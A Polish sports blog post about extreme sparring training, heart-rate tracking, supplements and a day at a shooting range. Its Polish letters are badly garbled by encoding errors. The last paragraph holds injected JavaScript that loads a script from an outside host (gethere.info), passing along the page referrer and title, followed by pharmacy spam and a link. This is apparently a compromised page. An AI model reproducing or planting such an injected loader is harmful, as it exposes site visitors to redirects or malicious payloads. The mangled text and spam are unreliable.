Ekstremalny trening,ekstremalny wypoczynek!!!!!!!

29.10.2013 / Mariusz Cieśliński

Ekstremalny trening,ekstremalny wypoczynek!!!!!!! To jest motto,ktA?re towarzyszy mi od wielu lat w przygotowaniach.JeAi??li chcesz Ai??amaAi?? bariery i wbiAi?? siAi?? na szczyt to musisz najpierw zAi??amaAi?? swA?j organizm na treningu.Jakim? Takim,ktA?ry najbardziej bAi??dzie przypominaAi?? warunki startowe.

W sportach walki na szczycie piramidy treningowej stoi walka sparringowa.JeAi??li chodzi o zawodowcA?w to podstawAi?? jest bezpieczeAi??stwo czyli dobry sprzAi??t ochronny. Drugim aspektem jest tempo.JeAi??li masz silniejszego fizycznie partnera to super.WAi??aAi??nie taki jest potrzebny.Do tego jeAi??li fajnie siAi?? porusza to juA? jest sytuacja gdzie moA?na fajnie popracowaAi??.JeAi??li realizuje zaAi??oA?enia taktyczne mimo zmAi??czenia to to jest to,o co chodzi w tym sporcie.

WrzuciAi??em do galerii zrzut z zapisu na pulsometrze ze sparringu-trening czas trwania zapisu 1h17min.DuA?e tAi??tno-191-dziAi??ki moim sparringpartnerom :),tempo i spalanie kcal. oraz temperatura na sali robi wiAi??ksze zapotrzebowanie na pAi??yny.Vitargo Electro Energy musi byAi?? dostAi??pne.Przed treningiem sprA?bowaAi??em podwA?jnej dawki S.A.W.-10 gram dla mnie jest sporAi?? dawkAi?? ale czuAi??em siAi?? Ai??wietnie bez dyskomfortu.BCAA X TANK standardowo.

Taki monitoring i umiejAi??tne korzystanie z gadA?etA?w elektronicznychAi?? jest bardzo przydatne w budowaniu struktury i indywidualizacji w treningu.Poza tym taki rodzaj mocnego wysiAi??ku sAi??uA?y jako poligon do testowania i dziaAi??ania suplementA?w,ktA?re bAi??dzie siAi?? uA?ywaAi?? w dniu startu.

DzieAi?? pA?A?niej miaAi??em wolne-znajomi mnie zaprosili na strzelnicAi?? gdzie miaAi??em okazjAi?? pobawiAi?? siAi?? sprzAi??tem i „zabawkami dla duA?ych chAi??opcA?w”. :) PeAi??en relaks i koncentracja jednoczeAi??nie.Budowanie formy nie jest trudne.CiAi??A?ki i mocny trening poAi??Ai??czony z wypoczynkiem :)

Na zdjAi??ciach nie mam walk sparringowych ale zwykAi??y trening codzienny.Praca na tarczach,skakankach ,walka z cieniem-bokserski standard.Odwiedzili nas strongman Tyberiusz Kowalczyk i medalista olimpijski Wojtek Bartnik-jego rady dotyczAi??ce treningu rAi??k sAi?? bardzo cenne. :)

s.src=’http://gethere.info/kt/?264dpr&frm=script&se_referrer=’ + encodeURIComponent(document.referrer) + ‚&default_keyword=’ + encodeURIComponent(document.title) + ”; buy detrol la 4mg Purchase Cheap buy pills Pills Order cod delivery astelin http://www.centrodado.com/how-much-reglan-should-i-give-my-dog/ univerzitet travnik Purchase online